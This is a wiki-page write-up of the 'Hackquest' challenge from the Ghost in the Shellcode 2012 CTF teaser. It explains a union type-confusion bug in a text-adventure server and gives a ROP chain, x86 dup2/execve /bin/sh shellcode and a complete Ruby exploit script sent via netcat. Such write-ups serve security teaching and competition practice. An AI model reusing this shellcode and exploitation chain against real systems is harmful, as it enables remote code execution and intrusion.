CTF/gits2012teaser/3-Hackquest
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Revision as of 16:36, 8 January 2012 by Francois (Talk | contribs) (Created page with "== #3 Hackquest == === Question === Find the key. (File running at hackquest.ghostintheshellcode.com:7331)<br> Hint: [[Media:9692febb68918a3c5127c56a5320439d.bin.gz|Binary file...")
#3 Hackquest
Question
Find the key. (File running at hackquest.ghostintheshellcode.com:7331)
Hint: Binary file
Hint: Partial source code
Solution
- Remote system running some sort of text adventure.
- Hint dropped source code partially (extremely helpful)
- Hint from irc: look at the items
- struct ItemInfo contains a union:
union { void* data; LocationInfo* newLocation; struct ItemInfo* newItem; struct { ActionInfo* actionInfo; char* requiredTarget; } action; struct { char* name; struct ItemInfo* newItem; } namedUnwrap; } info;
- magical item:
{"a", "letter addressed to %s", "...", NULL, ITEM_NAMED_UNWRAP, {.namedUnwrap = {name, &passwordItem}}}, {NULL, NULL, NULL, NULL, 0, {NULL}}
- use() has an insufficient test:
if ((item->type == ITEM_PERFORM_ACTION) || (item->type == ITEM_MOVE_TO_LOCATION) || (item->type == ITEM_UNWRAP)) { sendMsg(s, "That item can't have a target.\n"); ok = false; } else if (!strcasecmp(item->info.action.requiredTarget, target)) { sendMsg(s, item->message); item->info.action.actionInfo->func(s); showDesc = item->info.action.actionInfo->showDesc; }
- if we "use letter on $target", we can make it call ->func()
- .requiredTarget aliases with .newItem, which in turn contains a set of pointers, all static -> $target is known
- ->func aliases with .name
- the game asks us for our name, and stores this into a 31 byte static buffer
- whatever we use as name will be used as function address to be called -> we captured control flow
- ROP ensues:
- first gadged: pivot stack pointer to area we control (the 256 byte cmd buffer in handleConnection)
- then mmap an anonymous page RWX to a fixed location -> memory we can write to and run code from, we choose the offset
- our data is on the stack, which is likely on a random offset -> need to move data from stack buffer to page
- work around this problem by putting bootstrap shellcode into the static name buffer (see above)
- bootstrap code copies stack-relative buffer to our page, then transfers control:
leal 0x41(%esp),%esi # calc source from stack offset popl %edi # dest addr is already on stack pushl $0x41 # dest offset so that we don't get overwritten popl %ecx # duplicates as length addl %ecx,%edi # add offset push %edi # store dest for later rep movsl # copy popl %edi # retrieve old dest jmp *%edi # jump there
- remaining shell code takes socket fd from fixed stack offset and dup2()s to 0, 1, 2, then spawns /bin/sh:
pushl %ecx # ecx was cleared by rep above, put 0 on stack movl 0xAB(%esp),%ebx # get socket fd from stack offset 1: pushl $0x3f # dup2 syscall number popl %eax # into eax int $0x80 # do syscall inc %ecx # inc desc2 cmp $0x3,%cl # do for 0, 1, 2 jne 1b # repeat popl %ecx # zero ecx = argv mull %ecx # zero eax, edx = env pushl $0x0068732f # /sh\0 pushl $0x6e69622f # /bin movl %esp,%ebx # string arg movb $0xb,%al # execve syscall number int $0x80 # magic!
- cat key.txt
- all combined, use as (ruby h.rb; cat) | nc host 7331
addr = 0x60606000 # our page address src = 0x804c2a0 # from 0x80498f4 sockoffset = 0xbc p = [ # offset 0 "use letter on ", # offset 14 0x804a22e, 0x804a2bc, 0x804a2de, 0x804c20c, [0x02, 0x00], # offset 31 " " * (0x44 - 32), # fill # offset 0x44 0x80486d4, # C mmap 0x8048db5, # L add $0x1c,%esp | ret addr, # (void *addr, 4096, # size_t len, 1 | 2 | 4, # int prot = PROT_READ | PROT_WRITE | PROT_EXEC, 0x10 | 0x02 | 0x20, # int flags = MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, 0, # int filedes, 0, # off_t off) 0, # filler, also possibly offset 0x80487d4, # C memcpy addr, # L addr = shellcode addr, # (void *dest, src + 4, # const void *src, 200, # size_t n). [ 0x51, # pushl %ecx # ecx was cleared by rep above, put 0 on stack 0x8b, 0x9c, 0x24], sockoffset, # movl XXX(%esp),%ebx # get socket fd from stack offset [0x6a, 0x3f, # 1: pushl $0x3f # dup2 syscall number 0x58, # popl %eax # into eax 0xcd, 0x80, # int $0x80 # do syscall 0x41, # inc %ecx # inc desc2 0x80, 0xf9, 0x03, # cmp $0x3,%cl # do for 0, 1, 2 0x75, 0xf5, # jne 1b # repeat 0x59, # popl %ecx # zero ecx = argv 0xf7, 0xe1, # mull %ecx # zero eax, edx = env 0x68, 0x2f, 0x73, 0x68, 0x00, # pushl 0x0068732f # /sh\0 0x68, 0x2f, 0x62, 0x69, 0x6e, # pushl 0x6e69622f # /bin 0x89, 0xe3, # movl %esp,%ebx # string arg 0xb0, 0x0b, # movb $0xb,%al # execve syscall number 0xcd, 0x80 # int $0x80 # magic! ] ] shellcode = 0xc # this lives at src namelen = 20 name = [ # stack pivot 0x08049019, # add $0x9c,%esp | ret # bootstrap shellcode [ 0x8d, 0x74, 0x24, shellcode, # leal XXX(%esp),%esi 0x5f, # popl %edi 0x6a, namelen, # pushl $XXX 0x59, # popl %ecx 0x01, 0xcf, # addl %ecx,%edi 0x57, # push %edi 0xf3, 0xa5, # rep movsl 0x5f, # popl %edi 0xff, 0xe7, # jmp *%edi ], ] all = name + [ "\n", "get can\n", "use can\n", "go south\n", "get letter\n", ] + p + ["\n"] def collapse(a) a.map do |e| case e when Numeric [e].pack("V") when Array e.pack('C*') else e.to_s end end.join end if __FILE__ == $0 cp = collapse(all) # puts cp.size print cp end